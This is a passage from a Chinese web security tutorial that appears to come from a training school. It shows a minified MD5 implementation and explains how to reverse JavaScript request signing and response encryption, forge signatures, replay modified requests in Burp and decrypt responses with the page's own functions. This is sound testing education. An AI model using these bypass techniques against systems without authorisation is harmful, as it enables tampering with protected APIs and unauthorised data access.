output.length; i++)
output[i] = 0;
for (i = 0; i < 8 * input.length; i += 8)
output[i >> 5] |= (255 & input.charCodeAt(i / 8)) <<
i % 32;
return output
}
function Dt(input) {
for (var output = "", i = 0; i < 32 * input.length; i += 8)
output += String.fromCharCode(input[i >> 5] >>> i %
32 & 255);
return output
}
function Nt(t, e) {
t[e >> 5] |= 128 << e % 32,
t[14 + (e + 64 >>> 9 << 4)] = e;
for (var a = 1732584193, b = -271733879, n = -1732584194, r =
271733878, i = 0; i < t.length; i += 16) {
var o = a
, c = b
, l = n
, f = r;
a = qt(a, b, n, r, t[i + 0], 7, -680876936),
r = qt(r, a, b, n, t[i + 1], 12, -389564586),
n = qt(n, r, a, b, t[i + 2], 17, 606105819),
b = qt(b, n, r, a, t[i + 3], 22, -1044525330),
a = qt(a, b, n, r, t[i + 4], 7, -176418897),
r = qt(r, a, b, n, t[i + 5], 12, 1200080426),
n = qt(n, r, a, b, t[i + 6], 17, -1473231341),
b = qt(b, n, r, a, t[i + 7], 22, -45705983),
a = qt(a, b, n, r, t[i + 8], 7, 1770035416),
r = qt(r, a, b, n, t[i + 9], 12, -1958414417),
n = qt(n, r, a, b, t[i + 10], 17, -42063),
b = qt(b, n, r, a, t[i + 11], 22, -1990404162),
a = qt(a, b, n, r, t[i + 12], 7, 1804603682),
r = qt(r, a, b, n, t[i + 13], 12, -40341101),
n = qt(n, r, a, b, t[i + 14], 17, -1502002290),
a = Ft(a, b = qt(b, n, r, a, t[i + 15], 22, 1236535329),
n, r, t[i + 1], 5, -165796510),
r = Ft(r, a, b, n, t[i + 6], 9, -1069501632),
n = Ft(n, r, a, b, t[i + 11], 14, 643717713),
b = Ft(b, n, r, a, t[i + 0], 20, -373897302),
a = Ft(a, b, n, r, t[i + 5], 5, -701558691),
r = Ft(r, a, b, n, t[i + 10], 9, 38016083),
n = Ft(n, r, a, b, t[i + 15], 14, -660478335),
b = Ft(b, n, r, a, t[i + 4], 20, -405537848),
a = Ft(a, b, n, r, t[i + 9], 5, 568446438),
r = Ft(r, a, b, n, t[i + 14], 9, -1019803690),
n = Ft(n, r, a, b, t[i + 3], 14, -187363961),
b = Ft(b, n, r, a, t[i + 8], 20, 1163531501),
a = Ft(a, b, n, r, t[i + 13], 5, -1444681467),
r = Ft(r, a, b, n, t[i + 2], 9, -51403784),
n = Ft(n, r, a, b, t[i + 7], 14, 1735328473),
a = Ut(a, b = Ft(b, n, r, a, t[i + 12], 20, -1926607734),
n, r, t[i + 5], 4, -378558),
r = Ut(r, a, b, n, t[i + 8], 11, -2022574463),
n = Ut(n, r, a, b, t[i + 11], 16, 1839030562),
b = Ut(b, n, r, a, t[i + 14], 23, -35309556),
a = Ut(a, b, n, r, t[i + 1], 4, -1530992060),
r = Ut(r, a, b, n, t[i + 4], 11, 1272893353),
n = Ut(n, r, a, b, t[i + 7], 16, -155497632),
b = Ut(b, n, r, a, t[i + 10], 23, -1094730640),
a = Ut(a, b, n, r, t[i + 13], 4, 681279174),
r = Ut(r, a, b, n, t[i + 0], 11, -358537222),
n = Ut(n, r, a, b, t[i + 3], 16, -722521979),
b = Ut(b, n, r, a, t[i + 6], 23, 76029189),
a = Ut(a, b, n, r, t[i + 9], 4, -640364487),
r = Ut(r, a, b, n, t[i + 12], 11, -421815835),
n = Ut(n, r, a, b, t[i + 15], 16, 530742520),
a = Bt(a, b = Ut(b, n, r, a, t[i + 2], 23, -995338651), n,
r, t[i + 0], 6, -198630844),
r = Bt(r, a, b, n, t[i + 7], 10, 1126891415),
n = Bt(n, r, a, b, t[i + 14], 15, -1416354905),
b = Bt(b, n, r, a, t[i + 5], 21, -57434055),
a = Bt(a, b, n, r, t[i + 12], 6, 1700485571),
r = Bt(r, a, b, n, t[i + 3], 10, -1894986606),
n = Bt(n, r, a, b, t[i + 10], 15, -1051523),
b = Bt(b, n, r, a, t[i + 1], 21, -2054922799),
a = Bt(a, b, n, r, t[i + 8], 6, 1873313359),
r = Bt(r, a, b, n, t[i + 15], 10, -30611744),
n = Bt(n, r, a, b, t[i + 6], 15, -1560198380),
b = Bt(b, n, r, a, t[i + 13], 21, 1309151649),
a = Bt(a, b, n, r, t[i + 4], 6, -145523070),
r = Bt(r, a, b, n, t[i + 11], 10, -1120210379),
n = Bt(n, r, a, b, t[i + 2], 15, 718787259),
b = Bt(b, n, r, a, t[i + 9], 21, -343485551),
a = zt(a, o),
b = zt(b, c),
n = zt(n, l),
r = zt(r, f)
}
return Array(a, b, n, r)
}
function Mt(q, a, b, t, s, e) {
return zt((n = zt(zt(a, q), zt(t, e))) << (r = s) | n >>>
32 - r, b);
var n, r
}
function qt(a, b, t, e, n, s, r) {
return Mt(b & t | ~b & e, a, b, n, s, r)
}
function Ft(a, b, t, e, n, s, r) {
return Mt(b & e | t & ~e, a, b, n, s, r)
}
function Ut(a, b, t, e, n, s, r) {
return Mt(b ^ t ^ e, a, b, n, s, r)
}
function Bt(a, b, t, e, n, s, r) {
return Mt(t ^ (b | ~e), a, b, n, s, r)
}
function zt(t, e) {
var n = (65535 & t) + (65535 & e);
return (t >> 16) + (e >> 16) + (n >> 16) << 16 | 65535
& n
}
console.log(Et("test"));
那么这个时候再传入n,及前面获取到的实际字段,并修改page的值重新生成
burp中替换sign重放,成功获取到数据
3.2 请求、响应内容加密
安全测试中,除了参数的校验之外,还有一类就是请求或者响应内容的加密,那么需要测试就必须先解密,看到原始内容才可以进行,本次以响应内容加密作为案例进行分析实操。
3.2.1 算法分析
通过截图可以看到,利用系统可以做翻译,
但是实际接口返回值是加密的,因此需要通过抓包接口测试,必须找到解密算法,获取响应内容
在源代码中进行XHR断点设置,添加uri为断点
输入数据,成功断下,可以看到断到了send函数,这个其实是向服务器发包的一个方法
跳过到下一个函数进行执行
可以看到data为key值等
继续跳过执行,可以看到成功获取到返回的加密值
再跳过执行可以看到执行该函数da.A.decodeData(),从名称也可以看出为一个解码的函数,分别传入了o和key以及iv,那么o为加密的值,key和iv分别为前面获取到的内容,执行完成后成功返回了解密后的明文数据
那么通过控制台面板,出入o为加密值,复制da.A.decodeData()进行执行,成功获得解密的数据。
3.2.2 算法逆向绕过
通过上述算法成功获取到具体的解密函数,这时利用burp抓包,修改参数为各类payload,进行重放
将获取到的加密数据,通过控制台面板传入o,并调用da.A.decodeData()成功获取原始数据,达到测试的效果。
当然,通过该解密方法的传值和分析,其实也可以看出是什么加密算法,也可以直接通过编写本地算法代码进行解密,具体不再详细赘述。
四、总结
对于安全测试或者漏洞挖掘中,这类js的加密校验也是越来越多,目的也是为了达到测试攻击等行为的成本,要想完成测试首先需要分析或者绕过校验参数,对于测试或者漏洞挖掘来说,怎么速度更快更能高效的达到算法的绕过其实目的就达到了。根据上述列出的两类场景和分析实战方法,便可以满足大部分的js逆向场景。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

